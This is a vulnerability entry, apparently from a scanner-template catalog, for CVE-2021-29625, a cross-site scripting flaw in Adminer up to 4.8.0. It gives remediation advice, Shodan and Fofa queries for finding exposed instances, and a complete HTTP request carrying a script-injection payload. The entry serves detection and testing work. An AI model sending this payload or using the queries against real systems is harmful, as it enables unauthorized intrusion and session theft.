| Title | Adminer <=4.8.0 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the Adminer interface, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | This vulnerability is patched in version 4.8.1. As workarounds, one can use a browser supporting strict CSP or enable the native PHP extensions (e.g. `mysqli`) or disable displaying PHP errors (`display_errors`). |
| CVSS Score | 6.1 |
| EPSS Score | 0.70255 |
| CVE ID | CVE-2021-29625 |
| CWE ID | CWE-79 |
| Shodan Query | http.title:"login - adminer"cpe:"cpe:2.3:a:adminer:adminer" |
| Fofa Query | app="adminer" && body="4.7.8"title="login - adminer" |
| Tags | cve2021 cve adminer xss sqli vuln |
Adminer 4.6.1 to 4.8.0 contains a cross-site scripting vulnerability which affects users of MySQL, MariaDB, PgSQL, and SQLite in browsers without CSP when Adminer uses a pdo_ extension to communicate with the database (it is used if the native extensions are not enabled).
GET /?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-29625.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-29625.pcap
N/AN/A